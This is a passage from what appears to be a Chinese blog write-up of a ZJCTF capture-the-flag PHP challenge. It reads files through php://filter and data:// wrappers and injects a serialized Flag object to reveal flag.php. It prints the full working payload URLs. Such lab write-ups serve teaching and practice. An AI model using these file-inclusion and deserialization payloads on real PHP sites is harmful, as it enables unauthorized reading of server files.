【无标题】

文章讲述了如何通过使用POST请求和数据伪协议来绕过GET方法的限制,结合文件包含漏洞利用php://filter进行Base64编码读取文件。接着展示了如何通过反序列化技巧获取Flag类的文件内容,从而达到目标。最终payload通过去掉不必要的编码部分,成功展示flag。

打开靶机。

0a6d0ac261e74c0697e5e9ed22a833fd.png

代码审计题。以get方法提交"text" ,"file"和"password"。接下来是如果提交的text内容是 welcome to the zjctf,则输出welcome to the zjctf。如果在提交的file中匹配到了flag,则输出not now并推出。然后可以看出下面是一个文件包涵还有反序列化。

我们开始绕过。第一个绕过就是用post方式提交text的数据就行了,这里我们用data伪协议就行。然后是文件包涵,我们用filter伪协议读取useless.

phppayload:?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

9f32ebe53887431b8496742e16a8d883.png

 我们进行base64解密。

<?php  

class Flag{ //flag.php  

    public $file;  

    public function __tostring(){  

        if(isset($this->file)){  

            echo file_get_contents($this->file); 

            echo "<br>";

        return ("U R SO CLOSE !///COME ON PLZ");

        }  

    }  

}  

?>

从代码中可以看出我们要传的password的内容是序列化的:Flag类flag.php元。构造为:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

所以payload:

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

这里我们去掉php://filter/read=convert.base64-encode/resource=这部分。第一是因为这部分的任务完成了,第二是因为加上这部分没法得到flag。我们按f12查看flag。

 

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值